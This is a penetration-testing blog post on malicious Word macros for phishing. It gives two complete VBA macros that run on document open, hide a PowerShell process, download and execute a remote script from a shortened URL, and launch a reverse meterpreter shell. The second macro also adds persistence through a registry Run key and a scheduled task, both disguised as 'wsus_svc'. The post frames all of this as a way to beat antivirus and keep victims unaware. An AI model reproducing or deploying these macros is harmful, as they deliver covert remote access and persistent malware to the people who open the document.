Intro
So I've recently been experimenting with Microsoft Word Macros lately after a co-worker of mine ran into some issues with heuristics AV and process migration during a phishing campaign. Specifically, he had to migrate his meterpreter to a new process in order for his session to stay alive when the targeted user closed the macro embedded Word Document.I started to think "Ok, if the migration is the problem then how can we avoid having to migrate to a new process all together?"
Enter WshShell's Run method
Directly from the MSDN page: "The Run method starts a program running in a new Windows process."I don't know about you but that sounds exactly like the solution we were looking for. It will create a completely new Windows process that is not tied into the not so reliable process our macro embedded word document was running in.
The only curiosity I had after was once the process is started will the targeted user see anything on their end? Further research into the MSDN page shows the following arguments
The argument intWindowStyle looked like an interesting option and after looking further into the MSDN I discovered that placing a 0 for this option would hide the new process so the targeted user would be none the wiser.
The Modified Macro
Sub shellexec()
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim windowStyle As Integer: windowStyle = 0
Dim errorCode As Integer
wshCreate.wsh.Run "powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://bit.ly/NHpT5c');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 4444 -Force", windowStyle
End Sub
Sub AutoOpen()
shellexec
End Sub
Sub Workbook_Open()
shellexec
End Sub
The above code will execute once the targeted user selects "Enable Content" within a Microsoft Word document. This will create a new process and use the Invoke-Shellcode powershell script to send a reverse_https meterpreter to the specified listener. Once run, we will have a separate stable powershell.exe process that will be unaffected by the targeted user closing the word document with out using migration. Take that AV!
Taking it One Step Further
The below is the Macro that was created for this:
Sub shellexec()
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim windowStyle As Integer: windowStyle = 0
Dim errorCode As Integer
wshCreate.wsh.Run "powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://bit.ly/NHpT5c');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 4444 -Force", windowStyle
wsh.Run "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ /f /t REG_SZ /v wsus_svc /d ""C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -Command iex(New-Object Net.WebClient).DownloadString('http://bit.ly/NHpT5c');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 4444 -Force""", windowStyle
wsh.Run "schtasks /create /tn wsus_svc /tr ""powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://bit.ly/NHpT5c'''))';Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 4444 -Force"" /sc onidle /i 1", windowStyle
End Sub
Sub AutoOpen()
shellexec
End Sub
Sub Workbook_Open()
shellexec
End Sub
Now once your targeted user enables the mysterious content of a downloaded word document you will automatically have persistence established faster than you can type sessions -i 1.
Links:
MSDN WshShell: http://msdn.microsoft.com/en-us/library/d5fk67ky(v=vs.84).aspx
PowerSploit: https://github.com/mattifestation/PowerSploit
No comments:
Post a Comment